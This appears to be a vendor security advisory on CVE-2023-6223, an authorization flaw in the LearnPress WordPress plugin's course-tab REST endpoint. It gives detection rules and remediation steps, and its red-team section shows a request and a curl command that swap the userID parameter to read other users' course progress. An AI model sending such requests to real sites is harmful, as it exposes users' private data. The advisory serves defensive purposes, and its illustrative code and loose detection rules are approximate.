CVE-2023-6223

Executive Summary

CVE-2023-6223 is an Insecure Direct Object Reference (IDOR) vulnerability in the LearnPress WordPress plugin, affecting all versions up to and including 4.2.5.7. The flaw exists in the /wp-json/lp/v1/profile/course-tab REST API endpoint, which fails to validate the userID parameter. This allows an authenticated attacker with subscriber-level access or higher to retrieve the course progress details of any other user on the WordPress site. The vulnerability has a CVSS score of 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No official patch has been released by the vendor, making this a persistent risk for unpatched installations.

Supply Chain & Package Security

This vulnerability affects the LearnPress plugin distributed via the WordPress plugin repository. Since no patch is available, site administrators must consider removing or replacing the plugin. The lack of a vendor response increases supply chain risk, as the plugin remains vulnerable in all current versions.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of course progress data)
• Integrity Impact: None
• Availability Impact: None

The threat level is medium due to the low privileges required and the potential for data leakage of user course progress, which could be used for targeted attacks or privacy violations.

Deep Dive & Mechanics

The LearnPress plugin registers a REST API endpoint at /wp-json/lp/v1/profile/course-tab to allow authenticated users to view their own course progress. The endpoint accepts a userID parameter to specify which user's data to retrieve. Due to missing authorization checks, the server does not verify that the requesting user is the owner of the userID provided. An attacker can simply change the userID value to enumerate other users' course progress.

The vulnerability is rooted in the REST API controller's course-tab callback function, which directly uses the userID parameter without comparing it to the current user's ID. This is a classic IDOR pattern (CWE-639).

Vulnerable vs. Patched Code

Vulnerable Code (LearnPress <= 4.2.5.7):

// In class-lp-rest-profile-controller.php
public function course_tab( $request ) {
    $user_id = $request->get_param( 'userID' );
    // No check if $user_id matches current user
    $user = learn_press_get_user( $user_id );
    // ... returns course progress data
}

Patched Code (Hypothetical fix):

// In class-lp-rest-profile-controller.php
public function course_tab( $request ) {
    $user_id = $request->get_param( 'userID' );
    $current_user_id = get_current_user_id();
    if ( (int) $user_id !== (int) $current_user_id ) {
        return new WP_Error( 'forbidden', 'You are not allowed to view this data.', array( 'status' => 403 ) );
    }
    $user = learn_press_get_user( $user_id );
    // ... returns course progress data
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with LearnPress plugin version <= 4.2.5.7
• An authenticated user account with at least subscriber role
• Knowledge of another user's ID (can be enumerated via other endpoints)

Exploitation Steps:

1. Obtain a valid authentication cookie or nonce for a subscriber account.
2. Send a GET request to the vulnerable endpoint with a different userID:

   GET /wp-json/lp/v1/profile/course-tab?userID=2 HTTP/1.1
   Host: target-site.com
   Cookie: wordpress_logged_in_xxx=...
   

3. The response will contain the course progress data for user ID 2.

Example cURL command:

curl -X GET "https://target-site.com/wp-json/lp/v1/profile/course-tab?userID=2" \
  -H "Cookie: wordpress_logged_in_xxx=..."

Blue Team

Detection:

• Monitor REST API requests to /wp-json/lp/v1/profile/course-tab for unusual userID values.
• Alert when a single user queries multiple different userID values in a short time.
• Check for requests where the userID parameter does not match the authenticated user's ID.

Mitigation:

• Apply a virtual patch using a Web Application Firewall (WAF) to block requests where userID differs from the authenticated user.
• Disable the REST API endpoint if not needed.
• Remove or replace the LearnPress plugin until an official patch is released.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-json/lp/v1/profile/course-tab with varying userID parameters from the same source IP.
• Logs: WordPress debug logs showing repeated calls to course_tab with different userID values.
• File: Presence of the vulnerable file class-lp-rest-profile-controller.php in /wp-content/plugins/learnpress/inc/rest-api/v1/admin/.

Detection Engineering

YARA Rule

rule Detect_LearnPress_IDOR_CVE_2023_6223 {
    meta:
        description = "Detects vulnerable LearnPress plugin files with IDOR vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6223"
    strings:
        $vuln_func = "course_tab" ascii wide nocase
        $user_id_param = "userID" ascii wide nocase
        $no_check = "get_param" ascii wide nocase
    condition:
        $vuln_func and $user_id_param and $no_check
}

Sigma Rule

title: Detect LearnPress IDOR Exploitation Attempts
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-6223 by querying multiple userIDs via the LearnPress REST API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-json/lp/v1/profile/course-tab'
        cs-uri-query|contains: 'userID='
    condition: selection
falsepositives:
    - Legitimate admin users querying other users' data (rare)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2023-6223 LearnPress IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"/wp-json/lp/v1/profile/course-tab";
    http_uri;
    content:"userID=";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2023-6223;
)

Remediation & Mitigation

1. Immediate Action: Disable the LearnPress plugin if not critical to operations.
2. Virtual Patching: Use a WAF to block requests where the userID parameter does not match the authenticated user's ID.
3. Code Fix: Apply the hypothetical patch shown above to validate the userID against the current user.
4. Monitoring: Enable logging for REST API requests and monitor for anomalous userID patterns.
5. User Awareness: Inform users with subscriber-level access about the risk and consider restricting their permissions.
6. Vendor Contact: Pressure the vendor to release an official patch or consider switching to an alternative LMS plugin.

Valters IT